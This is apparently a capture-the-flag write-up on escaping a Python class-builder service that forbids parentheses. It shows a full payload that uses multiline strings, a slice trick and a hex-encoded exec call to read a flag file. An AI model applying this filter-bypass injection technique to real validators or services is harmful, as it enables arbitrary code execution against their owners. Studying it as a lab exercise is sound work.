Source code
First analysis
It seems we can write a class to a file, and open that class.
But we also have restrictions on what we can write that are applied when input gets validated by get_legal_code
.
When running and selecting 1. Write new class
we are prompted with
{class name}
{parent}
{number of methods}
- for each method:
{name{i}}
{params{i}}
{body{i}}
and out class will look like:
class {class name}({parent}):
def {name{1}}({params{1}}):
{body{1}}
def {name{2}}({params{2}}):
{body{2}}
...
In exec_class()
our class gets printed, so my_class.__repr__()
gets run to get it’s string representation.
Resolution
Since we can not write parentheses we want to highjack some.
If we can remove def
in def {name{2}}({params{2}}):
we would get closer to calling any funciton with any parameter.
Fortunatley there are multiline strings, so now our payload looks like:
class MyClass():
def __repr__(self): # gets called when `exec_class` is called
a="""
def """;exec({params{2}}):
{body{2}}
We still have a problem:
the colon at the end of def {name{2}}({params{2}}):
gives us a syntax error since it is not valid python code.
This can be fixed by making it look like we are using that result to index an array, since [][f(x):2]
is valid python code
class MyClass():
def __repr__(self): # gets called when `exec_class` is called
a="""
def """;[][exec({params{2}}):
2]
great, we can call any function!
now we just put "print(open('/tmp/flag.txt').readlines())"
as a hexstring into {params{2}}
to avoid parentheses invalidating our payload and we have our evil class
class MyClass():
def __repr__(self): # gets called when `exec_class` is called
a="""
def """;[][exec("\x70\x72\x69\x6e\x74\x28\x6f\x70\x65\x6e\x28\x27\x2f\x74\x6d\x70\x2f\x66\x6c\x61\x67\x2e\x74\x78\x74\x27\x29\x2e\x72\x65\x61\x64\x6c\x69\x6e\x65\x73\x28\x29\x29"):
2]
By writing such class, then selecting 2. Run class
and providing the class name we get the __repr__
method to be run that in turn runs the exec
which prints the file and we get the flag!